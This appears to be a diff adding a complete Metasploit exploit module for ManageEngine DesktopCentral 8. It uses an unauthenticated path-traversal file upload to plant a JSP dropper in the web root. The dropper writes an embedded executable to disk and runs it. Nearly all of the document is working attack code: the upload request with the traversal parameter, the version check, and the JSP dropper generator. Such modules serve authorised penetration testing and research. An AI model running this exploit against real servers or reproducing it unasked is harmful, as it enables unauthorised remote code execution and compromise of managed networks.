|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | + |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Exploit::EXE |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 |
| 21 | + below build 80293. A malicious user can upload a JSP file into the web root without |
| 22 | + authentication, leading to arbitrary code execution. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module |
| 27 | + ], |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ] |
| 32 | + ], |
| 33 | + 'Platform' => 'win', |
| 34 | + 'Arch' => ARCH_X86, |
| 35 | + 'Targets' => |
| 36 | + [ |
| 37 | + [ 'Manage Desktop Central 8 server / Windows', {} ] |
| 38 | + ], |
| 39 | + 'Privileged' => true, |
| 40 | + 'DefaultTarget' => 0, |
| 41 | + 'DisclosureDate' => 'Nov 11 2013' |
| 42 | + )) |
| 43 | + |
| 44 | + register_options([Opt::RPORT(8020)], self.class) |
| 45 | + end |
| 46 | + |
| 47 | + def upload_file(filename, contents) |
| 48 | + res = send_request_cgi({ |
| 49 | + 'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"), |
| 50 | + 'method' => 'POST', |
| 51 | + 'data' => contents, |
| 52 | + 'ctype' => "text/html" |
| 53 | + }) |
| 54 | + |
| 55 | + if res and res.code == 200 and res.body.to_s.empty? |
| 56 | + return true |
| 57 | + else |
| 58 | + return false |
| 59 | + end |
| 60 | + end |
| 61 | + |
| 62 | + def check |
| 63 | + res = send_request_cgi({ |
| 64 | + 'uri' => normalize_uri("configurations.do"), |
| 65 | + 'method' => 'GET' |
| 66 | + }) |
| 67 | + |
| 68 | + if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ |
| 69 | + build = $1 |
| 70 | + print_status("Manage Desktop Central 8 build #{build} found") |
| 71 | + if build < "80293" |
| 72 | + return Exploit::CheckCode::Vulnerable |
| 73 | + else |
| 74 | + return Exploit::CheckCode::Safe |
| 75 | + end |
| 76 | + end |
| 77 | + |
| 78 | + res = send_request_cgi({ |
| 79 | + 'uri' => normalize_uri("agentLogUploader"), |
| 80 | + 'method' => 'POST' |
| 81 | + }) |
| 82 | + |
| 83 | + if res and res.code == 200 |
| 84 | + return Exploit::CheckCode::Detected |
| 85 | + end |
| 86 | + |
| 87 | + return Exploit::CheckCode::Safe |
| 88 | + end |
| 89 | + |
| 90 | + def exploit |
| 91 | + print_status("#{peer} - Uploading JSP to execute the payload") |
| 92 | + |
| 93 | + exe = payload.encoded_exe |
| 94 | + exe_filename = rand_text_alpha_lower(8) + ".exe" |
| 95 | + |
| 96 | + dropper = jsp_drop_and_execute(exe, exe_filename) |
| 97 | + dropper_filename = rand_text_alpha_lower(8) + ".jsp" |
| 98 | + |
| 99 | + if upload_file(dropper_filename, dropper) |
| 100 | + register_files_for_cleanup(exe_filename) |
| 101 | + register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}") |
| 102 | + else |
| 103 | + fail_with(Exploit::Failure::Unknown, "#{peer} - JSP upload failed") |
| 104 | + end |
| 105 | + |
| 106 | + print_status("#{peer} - Executing payload") |
| 107 | + send_request_cgi( |
| 108 | + { |
| 109 | + 'uri' => normalize_uri(dropper_filename), |
| 110 | + 'method' => 'GET' |
| 111 | + }) |
| 112 | + end |
| 113 | + |
| 114 | + def jsp_drop_bin(bin_data, output_file) |
| 115 | + jspraw = %Q|<%@ page import="java.io.*" %>\n| |
| 116 | + jspraw << %Q|<%\n| |
| 117 | + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| |
| 118 | + |
| 119 | + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| |
| 120 | + |
| 121 | + jspraw << %Q|int numbytes = data.length();\n| |
| 122 | + |
| 123 | + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| |
| 124 | + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| |
| 125 | + jspraw << %Q|{\n| |
| 126 | + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| |
| 127 | + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| |
| 128 | + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| |
| 129 | + jspraw << %Q| comb <<= 4;\n| |
| 130 | + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| |
| 131 | + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| |
| 132 | + jspraw << %Q|}\n| |
| 133 | + |
| 134 | + jspraw << %Q|outputstream.write(bytes);\n| |
| 135 | + jspraw << %Q|outputstream.close();\n| |
| 136 | + jspraw << %Q|%>\n| |
| 137 | + |
| 138 | + jspraw |
| 139 | + end |
| 140 | + |
| 141 | + def jsp_execute_command(command) |
| 142 | + jspraw = %Q|\n| |
| 143 | + jspraw << %Q|<%\n| |
| 144 | + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| |
| 145 | + jspraw << %Q|%>\n| |
| 146 | + |
| 147 | + jspraw |
| 148 | + end |
| 149 | + |
| 150 | + def jsp_drop_and_execute(bin_data, output_file) |
| 151 | + jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) |
| 152 | + end |
| 153 | +end |
0 commit comments